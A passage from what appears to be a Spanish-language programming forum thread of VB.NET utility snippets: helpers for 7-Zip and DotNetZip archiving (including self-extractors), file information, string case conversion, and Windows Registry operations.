SevenZip.SevenZipExtractor.SetLibraryPath(SevenZipDLL)
' Create extractor and specify the file to extract
Dim Extractor As SevenZip.SevenZipExtractor = New SevenZip.SevenZipExtractor(InputFile)
' Return info
Select Case Info
Case File_Info.FileName
Return Extractor.FileName
Case File_Info.Format
Return Extractor.Format
Case File_Info.Size_In_Bytes
Return Extractor.PackedSize
Case File_Info.Total_Internal_Files
Return Extractor.FilesCount
Case File_Info.Internal_Files_FileNames
Dim FileList As New List(Of String)
For Each Internal_File In Extractor.ArchiveFileData
FileList.Add(Internal_File.FileName)
Next
Return FileList
Case Else
Return Nothing
End Select
Extractor.Dispose()
Catch ex As Exception
' Return nothing
Throw New Exception(ex.Message)
End Try
End Function
#End Region
End Class
#End Region
(http://img138.imageshack.us/img138/406/prtscrcapturef.jpg)
Una class para usar DotNetZip de forma sencilla para "comprimir/descomprimir/Crear un SFX" y mostrando el progreso en las operaciones.
#Region " DotNetZip Class "
' [ DotNetZip Functions ]
'
' // By Elektro H@cker
'
' Instructions :
' 1. Add a reference to "Ionic.Zip.dll".
'
' Examples :
'
' --------
' Extract:
' --------
' DotNetZip_Extract("C:\File.zip")
' DotNetZip_Extract("C:\File.zip", "C:\Folder\Test\", , "MyPassword")
'
' ---------
' Compress:
' ---------
' DotNetZip_Compress("C:\File.txt")
' DotNetZip_Compress("C:\Folder")
' DotNetZip_Compress("C:\Folder", "C:\Folder\Test.zip", , CompressionLevel.BestCompression, "Password", EncryptionAlgorithm.WinZipAes256)
'
' -------------
' Compress SFX:
' -------------
' DotNetZip_Compress_SFX("C:\File.txt")
' DotNetZip_Compress_SFX("C:\Folder")
'
' DotNetZip_Compress_SFX( _
' "C:\File.txt", "C:\Test.exe", , CompressionLevel.BestCompression, _
' "MyPassword", EncryptionAlgorithm.WinZipAes256, , , _
' ExtractExistingFileAction.OverwriteSilently, , , , _
' System.IO.Path.GetFileName("notepad.exe") _
' )
'
' ------------
' * Progress *
' ------------
' Dim WithEvents DotNetZip_Progress_Timer As New Timer
' Private Sub DotNetZip_Progress_Timer_Tick(sender As Object, e As EventArgs) Handles DotNetZip_Progress_Timer.Tick
' Label1.Text = DotNetZip.CurrentFileName
' ProgressBar1.Value = DotNetZip.DotNetZip_Current_Progress
' If ProgressBar1.Value = 100 Then
' ' ...
' End If
' End Sub
Imports Ionic.Zip
Imports Ionic.Zlib
Public Class DotNetZip
#Region " DotNetZip Extract "
Public Shared DotNetZip_Current_Progress As Short = 0
Public Shared ZipFileCount As Long = 0
Public Shared ExtractedFileCount As Long = 0
Public Shared CurrentFileName As String = String.Empty
Public Shared Function Extract(ByVal InputFile As String, _
Optional ByVal OutputDir As String = Nothing, _
Optional ByVal Overwrite As ExtractExistingFileAction = ExtractExistingFileAction.DoNotOverwrite, _
Optional ByVal Password As String = "Nothing" _
) As Boolean
DotNetZip_Current_Progress = 0
ZipFileCount = 0
ExtractedFileCount = 0
CurrentFileName = String.Empty
Try
' Create Extractor
Dim Extractor As ZipFile = ZipFile.Read(InputFile)
' Set Extractor parameters
Extractor.Password = Password ' Zip Password
Extractor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations
Extractor.ZipErrorAction = ZipErrorAction.Throw
' Specify the output path where the files will be extracted
If OutputDir Is Nothing Then OutputDir = My.Computer.FileSystem.GetFileInfo(InputFile).DirectoryName
' Add Progress
AddHandler Extractor.ExtractProgress, AddressOf DotNetZip_Extract_Progress ' Progress Handler
For Each Entry As ZipEntry In Extractor.Entries
Application.DoEvents()
ZipFileCount += 1
Next ' Total bytes size of Zip
ZipFileCount = Extractor.Entries.Count ' Total files inside Zip
' Start the extraction
For Each Entry As ZipEntry In Extractor.Entries
Application.DoEvents()
Entry.Extract(OutputDir, Overwrite)
Next
ZipFileCount = 0 : ExtractedFileCount = 0 ' Reset vars
Extractor.Dispose()
Return True ' File Extracted
Catch ex As Exception
' Return False ' File not extracted
MsgBox(ex.Message)
Throw New Exception(ex.Message)
End Try
End Function
Private Shared Sub DotNetZip_Extract_Progress(ByVal sender As Object, ByVal e As ExtractProgressEventArgs)
If e.EventType = ZipProgressEventType.Extracting_BeforeExtractEntry Then
CurrentFileName = e.CurrentEntry.FileName
ExtractedFileCount += 1
DotNetZip_Current_Progress = ((100 / ZipFileCount) * ExtractedFileCount)
ElseIf e.EventType = ZipProgressEventType.Extracting_AfterExtractEntry Then
If ExtractedFileCount = ZipFileCount Then
'MessageBox.Show("Extraction Done: " & vbNewLine & _
' e.ArchiveName) ' Uncompression finished
End If
End If
End Sub
#End Region
#Region " DotNetZip Compress "
Public Shared Function Compress(ByVal Input_DirOrFile As String, _
Optional ByVal OutputFileName As String = Nothing, _
Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.None, _
Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Default, _
Optional ByVal Password As String = Nothing, _
Optional ByVal Encrypt_Password As EncryptionAlgorithm = EncryptionAlgorithm.None _
) As Boolean
DotNetZip_Current_Progress = 0
ZipFileCount = 0
ExtractedFileCount = 0
CurrentFileName = String.Empty
Try
' Create compressor
Dim Compressor As ZipFile = New ZipFile
' Set compression parameters
Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
Compressor.CompressionMethod = CompressionMethod ' Compression method
Compressor.Password = Password ' Zip Password
Compressor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations
If Password Is Nothing AndAlso Not Encrypt_Password = EncryptionAlgorithm.None Then _
Compressor.Encryption = EncryptionAlgorithm.None _
Else Compressor.Encryption = Encrypt_Password ' Encryption for Zip password.
' Add Progress Handler
AddHandler Compressor.SaveProgress, AddressOf DotNetZip_Compress_Progress
' Removes the end slash ("\") if is given for a directory.
If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
' Generate the OutputFileName if any is given.
If OutputFileName Is Nothing Then _
OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".zip").Replace("\\", "\")
' Check if given argument is Dir or File ...then start the compression
If IO.Directory.Exists(Input_DirOrFile) Then ' It's a Dir
Compressor.AddDirectory(Input_DirOrFile)
ElseIf IO.File.Exists(Input_DirOrFile) Then ' It's a File
Compressor.AddFile(Input_DirOrFile)
End If
Compressor.Save(OutputFileName)
Compressor.Dispose()
Catch ex As Exception
' Return False ' File not compressed
MsgBox(ex.Message)
' Throw New Exception(ex.Message)
End Try
Return True ' File compressed
End Function
Private Shared Sub DotNetZip_Compress_Progress(ByVal sender As Object, ByVal e As SaveProgressEventArgs)
Application.DoEvents()
If e.EventType = ZipProgressEventType.Saving_Started Then
ElseIf e.EventType = ZipProgressEventType.Saving_BeforeWriteEntry Then
CurrentFileName = e.CurrentEntry.FileName ' Input filename to be compressed
DotNetZip_Current_Progress = ((100 / e.EntriesTotal) * e.EntriesSaved + 1)
ElseIf e.EventType = ZipProgressEventType.Saving_Completed Then
DotNetZip_Current_Progress = 100
End If
End Sub
#End Region
#Region " DotNetZip Compress SFX "
Public Shared Function Compress_SFX(ByVal Input_DirOrFile As String, _
Optional ByVal OutputFileName As String = Nothing, _
Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.None, _
Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Default, _
Optional ByVal Password As String = Nothing, _
Optional ByVal Encrypt_Password As EncryptionAlgorithm = EncryptionAlgorithm.None, _
Optional ByVal Extraction_Directory As String = ".\", _
Optional ByVal Silent_Extraction As Boolean = False, _
Optional ByVal Overwrite_Files As ExtractExistingFileAction = ExtractExistingFileAction.InvokeExtractProgressEvent, _
Optional ByVal Delete_Extracted_Files_After_Extraction As Boolean = False, _
Optional ByVal Icon As String = Nothing, _
Optional ByVal Window_Title As String = Nothing, _
Optional ByVal Window_Style As SelfExtractorFlavor = SelfExtractorFlavor.WinFormsApplication, _
Optional ByVal Command_Line_Argument As String = Nothing _
) As Boolean
DotNetZip_Current_Progress = 0
ZipFileCount = 0
ExtractedFileCount = 0
CurrentFileName = String.Empty
Try
' Create compressor
Dim Compressor As ZipFile = New ZipFile
' Set compression parameters
Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
' Compression method
Compressor.Password = Password ' Zip Password
Compressor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations
If Password Is Nothing AndAlso Not Encrypt_Password = EncryptionAlgorithm.None Then
Compressor.Encryption = EncryptionAlgorithm.None ' No encryption because no password.
Compressor.CompressionMethod = CompressionMethod ' Set any compression method.
Else
Compressor.Encryption = Encrypt_Password ' Set Encryption for Zip password.
Compressor.CompressionMethod = CompressionMethod.Deflate ' Set deflate method to don't destroy the SFX if AES encryption.
End If
Dim SFX_Options As New SelfExtractorSaveOptions()
SFX_Options.DefaultExtractDirectory = Extraction_Directory
SFX_Options.Quiet = Silent_Extraction
SFX_Options.ExtractExistingFile = ExtractExistingFileAction.OverwriteSilently
SFX_Options.RemoveUnpackedFilesAfterExecute = Delete_Extracted_Files_After_Extraction
SFX_Options.Flavor = Window_Style
SFX_Options.PostExtractCommandLine = Command_Line_Argument
If Not Icon Is Nothing Then SFX_Options.IconFile = Icon
If Not Window_Title Is Nothing Then SFX_Options.SfxExeWindowTitle = Window_Title
' Add Progress Handler
AddHandler Compressor.SaveProgress, AddressOf DotNetZip_Compress_SFX_Progress
' Removes the end slash ("\") if is given for a directory.
If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
' Generate the OutputFileName if any is given.
If OutputFileName Is Nothing Then _
OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".exe").Replace("\\", "\")
' Check if given argument is Dir or File ...then start the compression
If IO.Directory.Exists(Input_DirOrFile) Then ' It's a Dir
Compressor.AddDirectory(Input_DirOrFile)
ElseIf IO.File.Exists(Input_DirOrFile) Then ' It's a File
Compressor.AddFile(Input_DirOrFile)
End If
Compressor.SaveSelfExtractor(OutputFileName, SFX_Options)
Compressor.Dispose()
Catch ex As Exception
'Return False ' File not compressed
Throw New Exception(ex.Message)
End Try
Return True ' File compressed
End Function
Private Shared Sub DotNetZip_Compress_SFX_Progress(ByVal sender As Object, ByVal e As SaveProgressEventArgs)
Application.DoEvents()
If e.EventType = ZipProgressEventType.Saving_Started Then
ElseIf e.EventType = ZipProgressEventType.Saving_BeforeWriteEntry Then
CurrentFileName = e.CurrentEntry.FileName ' Input filename to be compressed
DotNetZip_Current_Progress = ((100 / e.EntriesTotal) * e.EntriesSaved + 1)
ElseIf e.EventType = ZipProgressEventType.Saving_Completed Then
DotNetZip_Current_Progress = 100
End If
End Sub
#End Region
End Class
#End Region
Mi versión modificada del "FileInfo"
#Region " Get File Info "
' [ Get File Info Function ]
'
' // By Elektro H@cker
'
' Examples:
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Name))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Extension))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FileName))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Directory))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.DriveLetter))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FullName))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.ShortName))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.ShortPath))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Name_Length))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Extension_Length))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FileName_Length))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Directory_Length))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FullName_Length))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FileSize))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FileVersion))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Attributes_Enum))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Attributes_String))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.CreationTime))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.LastAccessTime))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.LastModifyTime))
' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Has_Extension))
Public Enum FileInfo
Name ' Filename without extension
Extension_With_Dot ' File-Extension (with dot included)
Extension_Without_Dot ' File-Extension (without dot)
FileName ' Filename.extension
Directory ' Directory name
DriveLetter ' Drive letter (only 1 letter)
FullName ' Directory path + Filename
ShortName ' DOS8.3 Filename
ShortPath ' DOS8.3 Path Name
Name_Length ' Length of Filename without extension
Extension_With_Dot_Length ' Length of File-Extension (with dot included)
Extension_Without_Dot_Length ' Length of File-Extension (without dot)
FileName_Length ' Length of Filename.extension
Directory_Length ' Length of Directory name
FullName_Length ' Length of Directory path + Filename
FileSize ' Size in Bytes
FileVersion ' Version for DLL or EXE files
Attributes_Enum ' Attributes in Integer format
Attributes_String ' Attributes in String format
CreationTime ' Date Creation time
LastAccessTime ' Date Last Access time
LastModifyTime ' Date Last Modify time
Has_Extension ' Checks if file have a file-extension.
End Enum
Private Function Get_File_Info(ByVal File As String, ByVal Information As FileInfo)
Dim File_Info = My.Computer.FileSystem.GetFileInfo(File)
Select Case Information
Case FileInfo.Name : Return File_Info.Name.Substring(0, File_Info.Name.LastIndexOf("."))
Case FileInfo.Extension_With_Dot : Return File_Info.Extension
Case FileInfo.Extension_Without_Dot : Return File_Info.Extension.Split(".").Last
Case FileInfo.FileName : Return File_Info.Name
Case FileInfo.Directory : Return File_Info.DirectoryName
Case FileInfo.DriveLetter : Return File_Info.Directory.Root.ToString.Substring(0, 1)
Case FileInfo.FullName : Return File_Info.FullName
Case FileInfo.ShortName : Return CreateObject("Scripting.FileSystemObject").GetFile(File).ShortName
Case FileInfo.ShortPath : Return CreateObject("Scripting.FileSystemObject").GetFile(File).ShortPath
Case FileInfo.Name_Length : Return File_Info.Name.Length
Case FileInfo.Extension_With_Dot_Length : Return File_Info.Extension.Length
Case FileInfo.Extension_Without_Dot_Length : Return File_Info.Extension.Split(".").Last.Length
Case FileInfo.FileName_Length : Return File_Info.Name.Length
Case FileInfo.Directory_Length : Return File_Info.DirectoryName.Length
Case FileInfo.FullName_Length : Return File_Info.FullName.Length
Case FileInfo.FileSize : Return File_Info.Length
Case FileInfo.FileVersion : Return CreateObject("Scripting.FileSystemObject").GetFileVersion(File)
Case FileInfo.Attributes_Enum : Return File_Info.Attributes
Case FileInfo.Attributes_String : Return File_Info.Attributes.ToString
Case FileInfo.CreationTime : Return File_Info.CreationTime
Case FileInfo.LastAccessTime : Return File_Info.LastAccessTime
Case FileInfo.LastModifyTime : Return File_Info.LastWriteTime
Case FileInfo.Has_Extension : Return IO.Path.HasExtension(File)
Case Else : Return Nothing
End Select
End Function
#End Region
Una class para trabajar con StringCases por ejemplo para renombrar archivos de forma masiva a TitleCase,
contiene las funciones que posteé hace un tiempo, y le he añadido el "InvertedCase".
#Region " StringCase Class "
Public Class StringCase
' [ StringCase Functions ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(StringCase.Titlecase("THiS is a TeST"))
' MsgBox(StringCase.DelimitedCase_Lower("THiS is a TeST", ";"))
' MsgBox(StringCase.InvertedCase("HeLLo"))
' Var = StringCase.WordCase(Var)
''' <summary>
''' Convert to LowerCase [Ex: ab cd ef]
''' </summary>
Public Shared Function LowerCase(ByVal Text As String) As String
Return Text.ToLower
End Function
''' <summary>
''' Convert to UpperCase [Ex: AB CD EF]
''' </summary>
Public Shared Function UpperCase(ByVal Text As String) As String
Return Text.ToUpper
End Function
''' <summary>
''' Convert to Titlecase [Ex: Ab cd ef]
''' </summary>
Public Shared Function Titlecase(ByVal Text As String) As String
Return Char.ToUpper(Text(0)) + StrConv(Text.Substring(1), VbStrConv.Lowercase)
End Function
''' <summary>
''' Convert to WordCase [Ex: Ab Cd Ef]
''' </summary>
Public Shared Function WordCase(ByVal Text As String) As String
Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Text)
End Function
''' <summary>
''' Convert to CamelCase (And first letter to Lower) [Ex: abCdEf]
''' </summary>
Public Shared Function CamelCase_First_Lower(ByVal Text As String) As String
Return Char.ToLower(Text(0)) & System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Text).Replace(" ", "").Substring(1)
End Function
''' <summary>
''' Convert to CamelCase (And first letter to Upper) [Ex: AbCdEf]
''' </summary>
Public Shared Function CamelCase_First_Upper(ByVal Text As String) As String
Return Char.ToUpper(Text(0)) & System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Text).Replace(" ", "").Substring(1)
End Function
''' <summary>
''' Convert to MixedCase (And first letter to Lower) [Ex: aB Cd eF]
''' </summary>
Public Shared Function MixedCase_First_Lower(ByVal Text As String) As String
Dim MixedString As String = Nothing
For X As Integer = 0 To Text.Length - 1
Application.DoEvents()
Dim c As Char = Text(X)
If (X / 2).ToString.Contains(",") Then _
MixedString += c.ToString.ToUpper _
Else MixedString += c.ToString.ToLower
Next
Return MixedString
End Function
''' <summary>
''' Convert to MixedCase (And first letter to Upper) [Ex: Ab cD Ef]
''' </summary>
Public Shared Function MixedCase_First_Upper(ByVal Text As String) As String
Dim MixedString As String = Nothing
For X As Integer = 0 To Text.Length - 1
Application.DoEvents()
Dim c As Char = Text(X)
If (X / 2).ToString.Contains(",") Then _
MixedString += c.ToString.ToLower _
Else MixedString += c.ToString.ToUpper
Next
Return MixedString
End Function
''' <summary>
''' Convert to MixedCase (And first letter of each word to Lower) [Ex: aB cD eF]
''' </summary>
Public Shared Function MixedCase_Word_Lower(ByVal Text As String) As String
Dim MixedString As String = Nothing
Dim Count As Integer = 1
For X As Integer = 0 To Text.Length - 1
Application.DoEvents()
Dim c As Char = Text(X)
If Not c = " " Then Count += 1 Else Count = 1
If (Count / 2).ToString.Contains(",") Then _
MixedString += c.ToString.ToUpper _
Else MixedString += c.ToString.ToLower
Next
Return MixedString
End Function
''' <summary>
''' Convert to MixedCase (And first letter of each word to Upper) [Ex: Ab Cd Ef]
''' </summary>
Public Shared Function MixedCase_Word_Upper(ByVal Text As String) As String
Dim MixedString As String = Nothing
Dim Count As Integer = 1
For X As Integer = 0 To Text.Length - 1
Application.DoEvents()
Dim c As Char = Text(X)
If Not c = " " Then Count += 1 Else Count = 1
If (Count / 2).ToString.Contains(",") Then _
MixedString += c.ToString.ToLower _
Else MixedString += c.ToString.ToUpper
Next
Return MixedString
End Function
''' <summary>
''' Convert to DelimitedCase (And All letters to Lower) [Ex: ab-cd-ef]
''' </summary>
Public Shared Function DelimitedCase_Lower(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String
Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
Return rgx.Replace(Text.ToLower, Delimiter)
End Function
''' <summary>
''' Convert to DelimitedCase (And All letters to Upper) [Ex: AB-CD-EF]
''' </summary>
Public Shared Function DelimitedCase_Upper(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String
Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
Return rgx.Replace(Text.ToUpper, Delimiter)
End Function
''' <summary>
''' Convert to DelimitedCase (And first letter to Upper) [Ex: Ab-cd-ef]
''' </summary>
Public Shared Function DelimitedCase_Title(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String
Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
Return rgx.Replace(Char.ToUpper(Text(0)) + StrConv(Text.Substring(1), VbStrConv.Lowercase), Delimiter)
End Function
''' <summary>
''' Convert to DelimitedCase (And first letter of each word to Lower) [Ex: aB-cD-eF]
''' </summary>
Public Shared Function DelimitedCase_Mixed_Word_Lower(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String
Dim MixedString As String = Nothing
Dim Count As Integer = 1
For X As Integer = 0 To Text.Length - 1
Application.DoEvents()
Dim c As Char = Text(X)
If Not c = " " Then Count += 1 Else Count = 1
If (Count / 2).ToString.Contains(",") Then _
MixedString += c.ToString.ToUpper _
Else MixedString += c.ToString.ToLower
Next
Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
Return rgx.Replace(MixedString, Delimiter)
End Function
''' <summary>
''' Convert to DelimitedCase (And first letter of each word to Upper) [Ex: Ab-Cd-Ef]
''' </summary>
Public Shared Function DelimitedCase_Mixed_Word_Upper(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String
Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
Return rgx.Replace(System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Text), Delimiter)
End Function
''' <summary>
''' Covert string to InvertedCase [Ex: HeLLo -> hEllO ]
''' </summary>
Public Shared Function InvertedCase(ByVal Text As String) As String
Dim InvertedString As String = String.Empty
For Each character In Text
Application.DoEvents()
If Char.IsUpper(character) Then
InvertedString += character.ToString.ToLower
Else : InvertedString += character.ToString.ToUpper
End If
Next
Return InvertedString
End Function
End Class
#End Region
Una class con funciones para realizar todo tipo de operaciones en el Registro de Windows:
- Crear clave
- Eliminar clave
- Crear valor
- Eliminar valor
- Obtener los datos de un valor
- Exportar clave
- Importar archivo
- Saltar a clave (abrir Regedit en clave específica)
- Comprobar si un valor existe
- Comprobar si los datos de un valor están vacíos
- Copiar clave a otro lugar del registro
- Copiar valor a otro lugar del registro
- Establecer permisos de usuario para una clave
#Region " RegEdit "
' [ RegEdit Functions ]
'
' // By Elektro H@cker
'
' Examples :
'
' -----------
' Create Key:
' -----------
' RegEdit.Create_Key("HKCU\Software\MyProgram") ' Creates "HKCU\Software\MyProgram"
' RegEdit.Create_Key("HKEY_CURRENT_USER\Software\MyProgram\Settings\") ' Creates "HKCU\Software\MyProgram\Settings"
'
' -----------
' Delete Key:
' -----------
' RegEdit.Delete_Key("HKLM\Software\7-zip") ' Deletes the "7-zip" tree including subkeys
' RegEdit.Delete_Key("HKEY_LOCAL_MACHINE\Software\7-zip\") ' Deletes the "7-zip" tree including subkeys
'
' -------------
' Delete Value:
' -------------
' RegEdit.Delete_Value("HKCU\Software\7-Zip", "Lang") ' Deletes "Lang" Value
' RegEdit.Delete_Value("HKEY_CURRENT_USER\Software\7-Zip\", "Lang") ' Deletes "Lang" Value
'
' ----------
' Get Value:
' ----------
' Dim Data As String = RegEdit.Get_Value("HKCU\Software\MyProgram", "Value name"))
' Dim Data As String = RegEdit.Get_Value("HKEY_CURRENT_USER\Software\MyProgram", "Value name"))
'
' ----------
' Set Value:
' ----------
' RegEdit.Set_Value("HKCU\Software\MyProgram", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String) ' Create/Replace "Value Name" with "Data" as string data
' RegEdit.Set_Value("HKEY_CURRENT_USER\Software\MyProgram\", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String) ' Create/Replace "Value Name" with "Data" as string data
'
' -----------
' Export Key:
' -----------
' RegEdit.Export_Key("HKLM", "C:\HKLM.reg") ' Export entire "HKEY_LOCAL_MACHINE" Tree to "C:\HKLM.reg" file.
' RegEdit.Export_Key("HKLM\Software\7-zip\", "C:\7-zip.reg") ' Export entire "7-zip" Tree to "C:\7-zip.reg" file.
'
' ------------
' Import File:
' ------------
' RegEdit.Import_RegFile("C:\Registry_File.reg") ' Install a registry file.
'
' ------------
' Jump To Key:
' ------------
' RegEdit.Jump_To_Key("HKLM") ' Opens Regedit at "HKEY_LOCAL_MACHINE" Root.
' RegEdit.Jump_To_Key("HKEY_LOCAL_MACHINE\Software\7-zip\") ' Opens Regedit at "HKEY_LOCAL_MACHINE\Software\7-zip" tree.
'
' -------------
' Exist Value?:
' -------------
' MsgBox(RegEdit.Exist_Value("HKLM\software\7-zip", "Path") ' Checks if "Path" value exist.
'
' ------------
' Exist Data?:
' ------------
' MsgBox(RegEdit.Exist_Data("HKLM\software\7-zip", "Path") ' Checks if "Path" value have empty data.
'
' ---------
' Copy Key:
' ---------
' RegEdit.Copy_Key("HKCU", "Software", "7-Zip", "HKLM", "Software", "7-zip") ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\7-Zip"
' RegEdit.Copy_Key("HKCU", "Software", "7-Zip", Nothing, "Software", "7-zip") ' Copies "HKCU\Software\7-Zip" to "HKCU\Software\7-Zip"
' RegEdit.Copy_Key("HKCU", "Software", "7-Zip", "HKLM", "Software", Nothing) ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\"
' RegEdit.Copy_Key("HKCU", "Software", "7-Zip", "HKLM", Nothing, Nothing) ' Copies "HKCU\Software\7-Zip" to "HKLM\"
' RegEdit.Copy_Key("HKCU", "\Software\", "\7-Zip\", "HKLM", "\Software\", "\7-zip\") ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\7-Zip"
'
' -----------
' Copy Value:
' -----------
' RegEdit.Copy_Value("HKLM\software\7-zip", "path", "HKLM\software\7-zip", "path_backup") ' Copies "Path" value with their data to "HKLM\software\7-zip" "path_backup".
'
' -----------
' Set_UserAccess_Key:
' -----------
' RegEdit.Set_UserAccess_Key("HKCU\Software\7-Zip", {RegEdit.RegUserAccess.Administrators_Full_Access})
' RegEdit.Set_UserAccess_Key("HKEY_CURRENT_USER\Software\7-Zip", {RegEdit.RegUserAccess.Administrators_Full_Access, RegEdit.RegUserAccess.Creator_Full_Access, RegEdit.RegUserAccess.System_Full_Access})
#Region " RegEdit Class "
Public Class RegEdit
''' <summary>
''' Create a new registry key.
''' </summary>
Public Shared Function Create_Key(ByVal RegKey As String) As Boolean
Dim RootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(RegKey)
Dim KeyPath As String = Get_Key_Path(RegKey)
Try
RootKey.CreateSubKey(KeyPath)
RootKey.Close()
RootKey.Dispose()
Return True
Catch ex As Exception
' MsgBox(ex.Message)
' Throw New Exception(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Delete a registry key.
''' </summary>
Public Shared Function Delete_Key(ByVal RegKey As String) As Boolean
Dim RootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(RegKey)
Dim KeyPath As String = Get_Key_Path(RegKey)
Try
RootKey.DeleteSubKeyTree(KeyPath)
RootKey.Close()
RootKey.Dispose()
Return True
Catch ex As Exception
' MsgBox(ex.Message)
' Throw New Exception(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Delete a registry key.
''' </summary>
Public Shared Function Delete_Value(ByVal RegKey As String, ByVal RegValue As String) As Boolean
Dim RootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(RegKey)
Dim KeyPath As String = Get_Key_Path(RegKey)
Try
RootKey.OpenSubKey(KeyPath, True).DeleteValue(RegValue)
RootKey.Close()
RootKey.Dispose()
Return True
Catch ex As Exception
' MsgBox(ex.Message)
' Throw New Exception(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Get the data of a registry value.
''' </summary>
Public Shared Function Get_Value(ByVal RegKey As String, ByVal RegValue As String) As String
Dim RootKey As String = Get_Root_Key(RegKey).ToString
Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey)
Try
Return My.Computer.Registry.GetValue(KeyPath, RegValue, Nothing)
Catch ex As Exception
' MsgBox(ex.Message)
' Throw New Exception(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Set the data of a registry value.
''' If the Key or value don't exist it will be created automatically.
''' </summary>
Public Shared Function Set_Value(ByVal RegKey As String, _
ByVal RegValue As String, _
ByVal RegData As String, _
ByVal RegDataType As Microsoft.Win32.RegistryValueKind) As Boolean
Dim RootKey As String = Get_Root_Key(RegKey).ToString
Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey)
Try
If RegDataType = Microsoft.Win32.RegistryValueKind.Binary Then
My.Computer.Registry.SetValue(KeyPath, RegValue, System.Text.Encoding.ASCII.GetBytes(RegData), Microsoft.Win32.RegistryValueKind.Binary)
Else
My.Computer.Registry.SetValue(KeyPath, RegValue, RegData, RegDataType)
End If
Return True
Catch ex As Exception
' MsgBox(ex.Message)
' Throw New Exception(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Export a registry key (including sub-keys) to a file.
''' </summary>
Public Shared Function Export_Key(ByVal RegKey As String, ByVal OutputFile As String) As Boolean
Dim RootKey As String = Get_Root_Key(RegKey).ToString
Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey)
If KeyPath.EndsWith("\") Then KeyPath = KeyPath.Substring(0, KeyPath.Length - 1)
Try
Dim Regedit As New Process()
Dim Regedit_Info As New ProcessStartInfo()
Regedit_Info.FileName = "Reg.exe"
Regedit_Info.Arguments = "Export " & """" & KeyPath & """" & " " & """" & OutputFile & """" & " /y"
Regedit_Info.CreateNoWindow = True
Regedit_Info.WindowStyle = ProcessWindowStyle.Hidden
Regedit_Info.UseShellExecute = False
Regedit.StartInfo = Regedit_Info
Regedit.Start()
Regedit.WaitForExit()
If Regedit.ExitCode <> 0 Then
Return False
Else
Return True
End If
Catch ex As Exception
' MsgBox(ex.Message)
' Throw New Exception(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Import a registry file.
''' </summary>
Public Shared Function Import_RegFile(ByVal RegFile As String) As Boolean
If IO.File.Exists(RegFile) Then
Try
Dim Regedit As New Process()
Dim Regedit_Info As New ProcessStartInfo()
Regedit_Info.FileName = "Reg.exe"
Regedit_Info.Arguments = "Import " & """" & RegFile & """"
Regedit_Info.CreateNoWindow = True
Regedit_Info.WindowStyle = ProcessWindowStyle.Hidden
Regedit_Info.UseShellExecute = False
Regedit.StartInfo = Regedit_Info
Regedit.Start()
Regedit.WaitForExit()
If Regedit.ExitCode <> 0 Then
Return False
Else
Return True
End If
